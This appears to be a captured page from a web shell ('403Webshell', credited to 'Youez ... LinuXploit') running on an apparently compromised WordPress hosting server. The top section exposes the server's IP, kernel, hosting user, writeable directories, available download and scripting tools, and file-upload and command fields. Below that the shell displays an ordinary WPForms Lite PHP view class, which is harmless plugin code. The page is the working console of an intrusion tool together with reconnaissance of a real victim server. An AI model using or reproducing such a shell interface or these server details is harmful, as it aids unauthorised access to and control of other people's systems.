403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/www/wp-content/plugins/wpforms-lite/src/Admin/Tools/Views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/www/wp-content/plugins/wpforms-lite/src/Admin/Tools/Views/ActionScheduler.php
<?php

namespace WPForms\Admin\Tools\Views;

use ActionScheduler_AdminView;

/**
 * Class ActionScheduler view.
 *
 * @since 1.6.6
 */
class ActionScheduler extends View {

	/**
	 * View slug.
	 *
	 * @since 1.6.6
	 *
	 * @var string
	 */
	protected $slug = 'action-scheduler';

	/**
	 * Init view.
	 *
	 * @since 1.6.6
	 */
	public function init() {

		if ( $this->admin_view_exists() ) {
			ActionScheduler_AdminView::instance()->process_admin_ui();
		}
	}

	/**
	 * Get link to the view.
	 *
	 * @since 1.6.9
	 *
	 * @return string
	 */
	public function get_link() {

		return add_query_arg(
			[
				's' => 'wpforms',
			],
			parent::get_link()
		);
	}

	/**
	 * Get view label.
	 *
	 * @since 1.6.6
	 *
	 * @return string
	 */
	public function get_label() {

		return esc_html__( 'Scheduled Actions', 'wpforms-lite' );
	}

	/**
	 * Checking user capability to view.
	 *
	 * @since 1.6.6
	 *
	 * @return bool
	 */
	public function check_capability() {

		return wpforms_current_user_can();
	}

	/**
	 * Display view content.
	 *
	 * @since 1.6.6
	 */
	public function display() {

		if ( ! $this->admin_view_exists() ) {
			return;
		}

		( new ActionSchedulerList() )->display_page();
	}

	/**
	 * Check if ActionScheduler_AdminView class exists.
	 *
	 * @since 1.6.6
	 *
	 * @return bool
	 */
	private function admin_view_exists() {

		return class_exists( 'ActionScheduler_AdminView' );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit